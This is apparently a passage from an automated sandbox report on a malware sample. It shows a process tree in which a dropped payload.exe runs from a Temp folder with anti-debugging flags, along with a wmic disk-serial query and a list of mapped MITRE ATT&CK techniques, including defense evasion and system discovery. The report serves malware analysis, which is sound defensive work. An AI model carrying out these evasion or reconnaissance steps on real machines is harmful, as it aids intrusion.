      wmic diskdrive get serialnumber /value
      4⤵
      PID:3848

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv uv57I4/Bz0Cx5Di4FU5lCA.0.2
1⤵
PID:2656

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2868
- C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe
  "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact